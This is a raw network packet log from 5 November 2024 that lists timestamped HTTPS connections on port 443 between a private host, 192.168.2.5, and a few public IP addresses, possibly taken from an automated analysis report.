Nov 5, 2024 22:44:18.441308022 CET	49800	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.441315889 CET	443	49800	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.475224018 CET	443	49801	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.475867987 CET	49801	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.475889921 CET	443	49801	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.476358891 CET	49801	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.476363897 CET	443	49801	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.520823002 CET	443	49802	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.522655964 CET	49802	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.522675991 CET	443	49802	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.523132086 CET	49802	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.523137093 CET	443	49802	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.547846079 CET	443	49799	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.547915936 CET	443	49799	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.548032045 CET	49799	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.548297882 CET	49799	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.548306942 CET	443	49799	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.548316002 CET	49799	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.548320055 CET	443	49799	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.551383972 CET	49810	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.551403999 CET	443	49810	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.551493883 CET	49810	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.551650047 CET	49810	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.551661015 CET	443	49810	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.567966938 CET	443	49798	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.568099022 CET	443	49798	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.568212986 CET	49798	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.568237066 CET	49798	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.568250895 CET	443	49798	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.568259954 CET	49798	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.568264961 CET	443	49798	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.570830107 CET	49811	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.570868015 CET	443	49811	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.570940971 CET	49811	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.571073055 CET	49811	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.571090937 CET	443	49811	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.602031946 CET	443	49800	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.602173090 CET	443	49800	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.603498936 CET	49800	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.605931997 CET	443	49801	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.606122971 CET	443	49801	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.606471062 CET	49801	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.611251116 CET	49800	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.611270905 CET	443	49800	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.611284971 CET	49800	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.611291885 CET	443	49800	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.612046003 CET	49801	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.612046003 CET	49801	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.612057924 CET	443	49801	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.612066031 CET	443	49801	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.614686966 CET	49812	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.614708900 CET	443	49812	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.614775896 CET	49813	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.614818096 CET	443	49813	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.614825010 CET	49812	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.614959955 CET	49812	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.614968061 CET	443	49812	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.614995003 CET	49813	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.615159988 CET	49813	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.615174055 CET	443	49813	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.662652016 CET	443	49802	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.662720919 CET	443	49802	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.663439989 CET	49802	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.663669109 CET	49802	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.663688898 CET	443	49802	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.663702011 CET	49802	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.663708925 CET	443	49802	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.666615009 CET	49814	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.666634083 CET	443	49814	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.666717052 CET	49814	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.666877985 CET	49814	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.666888952 CET	443	49814	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.936268091 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.936537027 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.937068939 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.937129021 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.941643953 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.941658020 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.941910982 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.942125082 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.942503929 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.952735901 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.952819109 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.953457117 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.953650951 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.954920053 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.954931974 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.955163002 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.960432053 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.960745096 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.976826906 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.977029085 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.980185032 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.980195999 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.980410099 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.983333111 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.983402014 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.983752012 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.007340908 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.027371883 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.113913059 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.113991022 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.116410017 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.116421938 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.116626024 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.116710901 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.117259026 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.163333893 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.298437119 CET	443	49810	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.299096107 CET	49810	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.299115896 CET	443	49810	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.299719095 CET	49810	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.299726009 CET	443	49810	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.321841955 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.321986914 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.322005033 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.322045088 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.322132111 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.322166920 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.322236061 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.322905064 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.322954893 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.323026896 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.323251963 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.323271036 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.338371038 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.338432074 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.338447094 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.338490009 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.338614941 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.338649035 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.338700056 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.339152098 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.339176893 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.339247942 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.339510918 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:19.339524984 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:19.359041929 CET	443	49813	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.359533072 CET	49813	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.359553099 CET	443	49813	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.360008955 CET	49813	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.360013008 CET	443	49813	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.402537107 CET	443	49814	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.403162003 CET	49814	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.403173923 CET	443	49814	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.403526068 CET	49814	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.403531075 CET	443	49814	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.416158915 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.416223049 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.416239023 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.416416883 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.416672945 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.416712999 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.416718960 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.416760921 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.416990042 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.417012930 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.417138100 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.417184114 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.417195082 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.417447090 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.417473078 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.417531967 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.417733908 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.417747974 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.432488918 CET	443	49810	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.432661057 CET	443	49810	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.432749033 CET	49810	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.432775021 CET	49810	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.432785034 CET	443	49810	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.432796001 CET	49810	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.432800055 CET	443	49810	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.435280085 CET	49818	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.435295105 CET	443	49818	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.435354948 CET	49818	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.435451031 CET	49818	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.435458899 CET	443	49818	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.487304926 CET	443	49812	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.487797022 CET	49812	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.487809896 CET	443	49812	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.488229036 CET	49812	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.488233089 CET	443	49812	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.542747974 CET	443	49814	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.543852091 CET	443	49814	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.543911934 CET	49814	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.543940067 CET	49814	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.543952942 CET	443	49814	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.543972015 CET	49814	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.543977022 CET	443	49814	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.546753883 CET	49819	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.546797037 CET	443	49819	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.546869040 CET	49819	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.546987057 CET	49819	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.547000885 CET	443	49819	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.568681955 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.568747044 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.568758965 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.568800926 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.569093943 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.569139957 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.569148064 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.569192886 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.569443941 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.569474936 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.569587946 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.569633961 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.569648981 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.569956064 CET	49820	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.569977045 CET	443	49820	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.570035934 CET	49820	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.570274115 CET	49820	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:19.570283890 CET	443	49820	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:19.576193094 CET	443	49811	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.576601982 CET	49811	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.576643944 CET	443	49811	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.577043056 CET	49811	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.577049017 CET	443	49811	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.720455885 CET	443	49813	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.720547915 CET	443	49813	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.720768929 CET	49813	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.720797062 CET	49813	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.720812082 CET	443	49813	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.720822096 CET	49813	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.720828056 CET	443	49813	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.722378969 CET	443	49811	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.722513914 CET	443	49811	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.723702908 CET	49823	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.723730087 CET	443	49823	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.723804951 CET	49811	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.723812103 CET	49823	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.723977089 CET	49823	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.723985910 CET	443	49823	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.724315882 CET	49811	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.724315882 CET	49811	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.724342108 CET	443	49811	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.724354029 CET	443	49811	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.726669073 CET	49824	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.726686954 CET	443	49824	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:19.726758957 CET	49824	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.726891041 CET	49824	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:19.726902008 CET	443	49824	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.170178890 CET	443	49818	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.170809984 CET	49818	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.170829058 CET	443	49818	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.171339989 CET	49818	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.171345949 CET	443	49818	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.191458941 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.191529989 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.192177057 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.192231894 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.196126938 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.196134090 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.196367979 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.196420908 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.196847916 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.197366953 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.197443008 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.198102951 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.198164940 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.199820995 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.199841022 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.200072050 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.200119019 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.200474024 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.239335060 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.247339010 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.276603937 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.276637077 CET	443	49819	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.276693106 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.277040958 CET	49819	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.277057886 CET	443	49819	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.277493954 CET	49819	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.277498007 CET	443	49819	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.278100967 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.278111935 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.278354883 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.278410912 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.278666019 CET	49817	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.300252914 CET	443	49818	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.300690889 CET	443	49818	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.300745010 CET	49818	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.300782919 CET	49818	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.300791979 CET	443	49818	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.300803900 CET	49818	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.300808907 CET	443	49818	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.303397894 CET	49825	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.303435087 CET	443	49825	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.303524971 CET	49825	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.303621054 CET	49825	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.303636074 CET	443	49825	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.323328018 CET	443	49817	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.405962944 CET	443	49819	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.406538010 CET	443	49819	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.406593084 CET	49819	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.406670094 CET	49819	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.406685114 CET	443	49819	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.406697989 CET	49819	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.406702995 CET	443	49819	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.409950972 CET	49826	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.409976006 CET	443	49826	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.410042048 CET	49826	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.410263062 CET	49826	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.410276890 CET	443	49826	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.422799110 CET	443	49820	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.422867060 CET	49820	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.424194098 CET	49820	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.424196959 CET	443	49820	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.424387932 CET	443	49820	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.424442053 CET	49820	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.424690008 CET	49820	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:20.467340946 CET	443	49820	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:20.468544006 CET	443	49824	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.468885899 CET	49824	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.468900919 CET	443	49824	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.469305038 CET	49824	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.469309092 CET	443	49824	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.495086908 CET	443	49823	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.495441914 CET	49823	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.495464087 CET	443	49823	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.495820045 CET	49823	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:20.495824099 CET	443	49823	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:20.558088064 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.558162928 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.558183908 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.558223963 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.558300972 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.558330059 CET	443	49816	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.558377981 CET	49816	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.558804989 CET	49827	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.558834076 CET	443	49827	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.558887959 CET	49827	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.559066057 CET	49827	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.559079885 CET	443	49827	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.569653988 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.569715023 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.569736004 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.569776058 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.569860935 CET	49815	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:20.569890976 CET	443	49815	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:20.569940090 CET	49815	443	192.168.2.5	172.217.23.110
